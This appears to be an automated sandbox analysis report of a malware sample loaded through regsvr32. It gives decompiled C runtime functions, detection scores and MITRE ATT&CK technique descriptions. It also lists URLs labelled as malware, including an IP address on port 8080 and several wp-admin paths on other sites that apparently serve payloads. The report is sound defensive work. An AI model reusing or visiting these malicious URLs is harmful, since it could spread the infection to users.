Associated: 00000005.00000002.944092955.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$InfoStartup_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c
API String ID: 1930727954-3864165772
Opcode ID: 53ed6c7dc9c3017b6de27dce3b9aec11c1bcaebc47f482f4e33ed4626b187432
Instruction ID: 4fd499f206e1269e95e05e694953bda4b6002576a2de31bc31bcf6f481f5495e
Opcode Fuzzy Hash: 53ed6c7dc9c3017b6de27dce3b9aec11c1bcaebc47f482f4e33ed4626b187432
Instruction Fuzzy Hash: 13F11A32A1DBC5C9E7B08B19E88076AB7A1F389B64F104626DAAD477F4DB3CD445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF7537DE0 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__initmbctable.LIBCMT ref: 000007FEF7537DED
_calloc_dbg.LIBCMTD ref: 000007FEF7537E7B
_calloc_dbg.LIBCMTD ref: 000007FEF7537F1B

Part of subcall function 000007FEF753D490: _invalid_parameter.LIBCMTD ref: 000007FEF753D541

_invoke_watson_if_error.LIBCMTD ref: 000007FEF7537F9B

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF7537F84
~, xrefs: 000007FEF7537EFE
strcpy_s(*env, cchars, p), xrefs: 000007FEF7537F92
_setenvp, xrefs: 000007FEF7537F8B
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF7537E66, 000007FEF7537F06
0*X, xrefs: 000007FEF7537F38

Memory Dump Source

Source File: 00000005.00000002.944037719.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.944013265.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944079382.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944087822.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944092955.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$__initmbctable_invalid_parameter_invoke_watson_if_error
String ID: 0*X$_setenvp$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$strcpy_s(*env, cchars, p)$~
API String ID: 1648969265-3521721853
Opcode ID: f93d43cf3bb1813beee52146895ee3ce0099543f481cf7d004c716eae911393f
Instruction ID: d084276c375975cac61ca52f902c53f851fb403f988e997b31319c858ca427aa
Opcode Fuzzy Hash: f93d43cf3bb1813beee52146895ee3ce0099543f481cf7d004c716eae911393f
Instruction Fuzzy Hash: D1512A32A3DB8682E7D08B15E48076A77E1F389798F501536FA8E877B5CB7DE4418B40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF7537280 Relevance: 12.1, APIs: 8, Instructions: 104
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDecodePointer.NTDLL ref: 000007FEF75372CE
DecodePointer.KERNEL32 ref: 000007FEF7537375
DecodePointer.KERNEL32 ref: 000007FEF75372EC

Part of subcall function 000007FEF7533D00: RtlEncodePointer.NTDLL ref: 000007FEF7533D06

DecodePointer.KERNEL32 ref: 000007FEF7537398
DecodePointer.KERNEL32 ref: 000007FEF75373AA
_initterm.LIBCMTD ref: 000007FEF7537408
_initterm.LIBCMTD ref: 000007FEF753741B
__crtExitProcess.LIBCMTD ref: 000007FEF753747D

Memory Dump Source

Source File: 00000005.00000002.944037719.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.944013265.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944079382.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944087822.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944092955.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$_initterm$EncodeExitProcess__crt
String ID:
API String ID: 3799933513-0
Opcode ID: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction ID: 50440ff04c6b651d32773591404ba5b67e5f7cae972734bbf51138f9a8de4c41
Opcode Fuzzy Hash: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction Fuzzy Hash: B751EC72E3DA8685E6D09B14E48432A77E5F389798F101535FA8D427B5EF3CE444CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF7538670 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNELBASE ref: 000007FEF753867D
WideCharToMultiByte.KERNEL32 ref: 000007FEF7538722
FreeEnvironmentStringsW.KERNEL32 ref: 000007FEF7538764

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c, xrefs: 000007FEF753873E

Memory Dump Source

Source File: 00000005.00000002.944037719.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.944013265.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944079382.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944087822.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944092955.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c
API String ID: 1823725401-2473407871
Opcode ID: 12bd68ef287a579055a6545109484f2ffc82b1f6f13cfb147b3cff23ff6676d3
Instruction ID: 668744335db3fe05506389b85c1bd172cdfc5ddd5165f6026b314cf31a900037
Opcode Fuzzy Hash: 12bd68ef287a579055a6545109484f2ffc82b1f6f13cfb147b3cff23ff6676d3
Instruction Fuzzy Hash: 2C41E972628B8586E7948B56F84432BB7E1F784794F100029FACD4BB78DB7EE4548B40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF753461B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E000007FE7FEF753461B(void* __rdx, void* __r8, long long _a32, long long _a40, intOrPtr _a64, long long _a72, void* _a80, intOrPtr _a88, long long _a96, long long _a128, signed int _a136, long long _a144, intOrPtr _a152, void* _a160) {
				signed int _t64;
				intOrPtr _t66;
				void* _t73;
				void* _t92;
				long long _t98;
				long long _t113;
				long long _t114;
				long long _t115;
				long long _t130;
				intOrPtr _t132;
				long long _t135;

				if (_a136 == 1) goto 0xf7534672;
				_t64 = _a136 & 0x0000ffff;
				if (_t64 == 2) goto 0xf7534672;
				if (_a136 == 3) goto 0xf7534672;
				_a40 = "Error: memory allocation: bad memory block type.\n";
				_a32 = "%s";
				r9d = 0;
				r8d = 0;
				0xf753ad00();
				if (_t64 != 1) goto 0xf7534672;
				asm("int3");
				_t98 = _a128 + 0x34;
				_a96 = _t98;
				0xf753ac90(); // executed
				_a80 = _t98;
				if (_a80 != 0) goto 0xf75346b8;
				if (_a160 == 0) goto 0xf75346b3;
				 *_a160 = 0xc;
				goto 0xf75348b4;
				_t66 =  *0xf755b03c; // 0x39
				 *0xf755b03c = _t66 + 1;
				if (_a64 == 0) goto 0xf753472d;
				 *_a80 = 0;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = 0;
				 *((intOrPtr*)(_a80 + 0x18)) = 0xfedcbabc;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = 3;
				 *((intOrPtr*)(_a80 + 0x28)) = 0;
				goto 0xf7534844;
				if (0xffffffff -  *0xf755c960 - _a128 <= 0) goto 0xf7534763;
				_t130 =  *0xf755c960; // 0x4594
				 *0xf755c960 = _t130 + _a128;
				goto 0xf753476e;
				 *0xf755c960 = 0xffffffff;
				_t132 =  *0xf755c990; // 0xa0c
				 *0xf755c990 = _t132 + _a128;
				_t113 =  *0xf755c978; // 0x35bc
				_t92 =  *0xf755c990 - _t113; // 0xa0c
				if (_t92 <= 0) goto 0xf75347a8;
				_t114 =  *0xf755c990; // 0xa0c
				 *0xf755c978 = _t114;
				if ( *0xf755c980 == 0) goto 0xf75347c4;
				_t115 =  *0xf755c980; // 0x583b00
				 *((long long*)(_t115 + 8)) = _a80;
				goto 0xf75347d0;
				 *0xf755c968 = _a80;
				_t135 =  *0xf755c980; // 0x583b00
				 *_a80 = _t135;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = _a144;
				 *((intOrPtr*)(_a80 + 0x18)) = _a152;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = _a136;
				_t78 = _a88;
				 *((intOrPtr*)(_a80 + 0x28)) = _a88;
				 *0xf755c980 = _a80;
				r8d = 4;
				E000007FE7FEF75332B0( *0xf755b04c & 0x000000ff, _a88,  *0xf755b04c & 0x000000ff, _a80 + 0x2c, __rdx, __r8);
				_t145 = _a128;
				r8d = 4;
				E000007FE7FEF75332B0( *0xf755b04c & 0x000000ff, _a88,  *0xf755b04c & 0x000000ff, _a80 + _a128 + 0x30, _a128, __r8);
				_t73 = E000007FE7FEF75332B0( *0xf755b04f & 0x000000ff, _t78,  *0xf755b04f & 0x000000ff, _a80 + 0x30, _t145, _a128);
				_a72 = _a80 + 0x30;
				return E000007FE7FEF7539360(_t73, 4);
			}

0x7fef7534623
0x7fef753462c
0x7fef7534634
0x7fef753463e
0x7fef7534647
0x7fef7534653
0x7fef7534658
0x7fef753465b
0x7fef7534665
0x7fef753466d
0x7fef753466f
0x7fef753467a
0x7fef753467e
0x7fef7534688
0x7fef753468d
0x7fef7534698
0x7fef75346a3
0x7fef75346ad
0x7fef75346b3
0x7fef75346b8
0x7fef75346c0
0x7fef75346cb
0x7fef75346d2
0x7fef75346de
0x7fef75346eb
0x7fef75346f8
0x7fef753470c
0x7fef7534715
0x7fef7534721
0x7fef7534728
0x7fef7534743
0x7fef753474d
0x7fef753475a
0x7fef7534761
0x7fef7534763
0x7fef7534776
0x7fef7534783
0x7fef753478a
0x7fef7534791
0x7fef7534798
0x7fef753479a
0x7fef75347a1
0x7fef75347b0
0x7fef75347b2
0x7fef75347be
0x7fef75347c2
0x7fef75347c9
0x7fef75347d5
0x7fef75347dc
0x7fef75347e4
0x7fef75347f9
0x7fef7534809
0x7fef7534819
0x7fef7534829
0x7fef7534831
0x7fef7534835
0x7fef753483d
0x7fef7534854
0x7fef753485c
0x7fef753486d
0x7fef753487a
0x7fef7534882
0x7fef75348a1
0x7fef75348af
0x7fef75348c7

APIs

_unlock.LIBCMTD ref: 000007FEF75348B9

Strings

Error: memory allocation: bad memory block type., xrefs: 000007FEF7534640

Memory Dump Source

Source File: 00000005.00000002.944037719.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.944013265.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944079382.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944087822.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944092955.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: Error: memory allocation: bad memory block type.
API String ID: 2480363372-1537269110
Opcode ID: 0e27953d906dd6213389af50a7459ab3260dce137a7056963e47b3559a26f049
Instruction ID: 8d404ee4ec240fb383b5eaa1ec50f73e79e48ed922fc245f8984b595f9268ba7
Opcode Fuzzy Hash: 0e27953d906dd6213389af50a7459ab3260dce137a7056963e47b3559a26f049
Instruction Fuzzy Hash: 69710B76A2DB8586EBA0CB55E49032AB7E1F388B54F004535EA9D837B4DFBCE044CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF7536FF2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF753CA00: EncodePointer.KERNEL32 ref: 000007FEF753CA33

_initterm_e.LIBCMTD ref: 000007FEF753701F

Strings

Y, xrefs: 000007FEF753700C

Memory Dump Source

Source File: 00000005.00000002.944037719.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.944013265.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944079382.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944087822.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944092955.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID: EncodePointer_initterm_e
String ID: Y
API String ID: 1618838664-1754117475
Opcode ID: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction ID: 8d17ab7a58495d8069f622c6c8970338df7fec2bda78b20ca1d94b3edb2a395b
Opcode Fuzzy Hash: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction Fuzzy Hash: 3DE0A561E3C14297E6E5AB20EC803B927E2B794348F400931F94D4A8B5EB3DE905CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF7537540 Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E000007FE7FEF7537540(long long __rax) {
				long long _v24;
				void* _t8;
				void* _t9;

				_t16 = __rax;
				_t9 = E000007FE7FEF7533D00(_t8); // executed
				_v24 = __rax;
				return E000007FE7FEF753CF20(E000007FE7FEF753CFB0(E000007FE7FEF753D450(E000007FE7FEF753D470(E000007FE7FEF753BD50(E000007FE7FEF753AB90(_t9, _v24), _v24), _v24), _v24), _v24), _t16, _v24);
			}

0x7fef7537540
0x7fef7537544
0x7fef7537549
0x7fef753758e

APIs

Part of subcall function 000007FEF7533D00: RtlEncodePointer.NTDLL ref: 000007FEF7533D06

_initp_misc_winsig.LIBCMTD ref: 000007FEF753757B
_initp_eh_hooks.LIBCMTD ref: 000007FEF7537585

Part of subcall function 000007FEF753CF20: EncodePointer.KERNEL32(?,?,?,?,000007FEF753758A,?,?,?,?,?,?,000007FEF7533D39), ref: 000007FEF753CF30

Memory Dump Source

Source File: 00000005.00000002.944037719.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.944013265.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944079382.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944087822.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944092955.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID: EncodePointer$_initp_eh_hooks_initp_misc_winsig
String ID:
API String ID: 2678799220-0
Opcode ID: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction ID: 0c269c0e9c89a172d1ac21a57a99ac11d73c5c65569279fab5c480474d6cc55e
Opcode Fuzzy Hash: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction Fuzzy Hash: B6E0E967B2C58182E5E0BB51E86226A53B2B7C4788F400575BEDD866BBCE7CE6118A40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF753ACA8 Relevance: 3.0, APIs: 2, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

__crtExitProcess.LIBCMTD ref: 000007FEF753ACB7

Part of subcall function 000007FEF75374E0: ExitProcess.KERNEL32 ref: 000007FEF75374F5

RtlAllocateHeap.NTDLL ref: 000007FEF753ACE7

Memory Dump Source

Source File: 00000005.00000002.944037719.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.944013265.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944079382.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944087822.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944092955.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID: ExitProcess$AllocateHeap__crt
String ID:
API String ID: 4215626177-0
Opcode ID: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction ID: a4bd884a76a7b8e783ff02c174b82987dd0b6fd64915a23fb1c4fb0920285d10
Opcode Fuzzy Hash: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction Fuzzy Hash: 99E04F21E2898A82E6E09755E41137A62E2FB88348F400035FA4E027B5CF3DE840D600

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF7534399 Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E000007FE7FEF7534399(long long __rax, long long _a48, intOrPtr _a80, intOrPtr _a88, void* _a120) {

				_a48 = __rax;
				if (_a48 == 0) goto 0xf75343ad;
				goto 0xf75343f5;
				if (_a88 != 0) goto 0xf75343ce;
				if (_a120 == 0) goto 0xf75343c7;
				 *_a120 = 0xc;
				goto 0xf75343f5;
				if (E000007FE7FEF753ABB0(_a48, _a80) != 0) goto 0xf75343f3;
				if (_a120 == 0) goto 0xf75343ef;
				 *_a120 = 0xc;
				goto 0xf75343f5;
				goto 0xf7534377;
				return 0;
			}

0x7fef7534399
0x7fef75343a4
0x7fef75343ab
0x7fef75343b2
0x7fef75343ba
0x7fef75343c1
0x7fef75343cc
0x7fef75343da
0x7fef75343e2
0x7fef75343e9
0x7fef75343f1
0x7fef75343f3
0x7fef75343f9

Memory Dump Source

Source File: 00000005.00000002.944037719.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.944013265.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944079382.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944087822.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944092955.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction ID: f59c66b49deb2d2b3ece59ad2b01622829c0b8c50141bff4275200efde8df140
Opcode Fuzzy Hash: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction Fuzzy Hash: 48018726A2C749C6F6D08A15E44473AA7E1F3847D4F101135FE8D87BB8DB7CE480CA00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF7533433 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF7533437

Part of subcall function 000007FEF7537D00: DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF753343C), ref: 000007FEF7537D93

Part of subcall function 000007FEF7533E00: FlsFree.KERNEL32 ref: 000007FEF7533E13
Part of subcall function 000007FEF7533E00: _mtdeletelocks.LIBCMTD ref: 000007FEF7533E23

Part of subcall function 000007FEF75388D0: HeapDestroy.KERNELBASE ref: 000007FEF75388DB

Memory Dump Source

Source File: 00000005.00000002.944037719.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.944013265.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944079382.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944087822.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944092955.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID: CriticalDeleteDestroyFreeHeapSection_ioterm_mtdeletelocks
String ID:
API String ID: 1508997487-0
Opcode ID: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction ID: 0709412b6044a56b86e050daf6e123306acf1d940542bdba759049c97d51ab2e
Opcode Fuzzy Hash: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction Fuzzy Hash: 06E067A1F3C0079AF2D5676498823B91AD39B447C5F810879790EC62F3EA7DB8115661

Uniqueness

Uniqueness Score: -1.00%

Source: https://173.82.82.196:8080/	URL Reputation: Label: malware
Source: https://173.82.82.196/C01-	Avira URL Cloud: Label: malware
Source: http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/	Avira URL Cloud: Label: malware
Source: https://173.82.82.196/	URL Reputation: Label: malware
Source: https://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/	Avira URL Cloud: Label: malware
Source: http://www.kabeonet.pl/wp-admin/VWlAz5vWJNHDb/	Avira URL Cloud: Label: malware
Source: http://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/	Avira URL Cloud: Label: malware
Source: http://kabeonet.pl/wp-admin/VWlAz5vWJNHDb/	Avira URL Cloud: Label: malware
Source: https://173.82.82.196:8080/H	Avira URL Cloud: Label: malware
Source: https://173.82.82.196:8080/L	Avira URL Cloud: Label: malware
Source: https://173.82.82.196/l	Avira URL Cloud: Label: malware

Source: salledemode.com	Virustotal: Detection: 11%			Perma Link
Source: vipteck.com	Virustotal: Detection: 9%			Perma Link

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	ReversingLabs: Detection: 41%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	Metadefender: Detection: 28%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	ReversingLabs: Detection: 58%

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr3.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr1.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr2.ocx	Joe Sandbox ML: detected

Source: Joe Sandbox View	IP Address: 188.114.97.10 188.114.97.10
Source: Joe Sandbox View	IP Address: 188.114.97.10 188.114.97.10

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

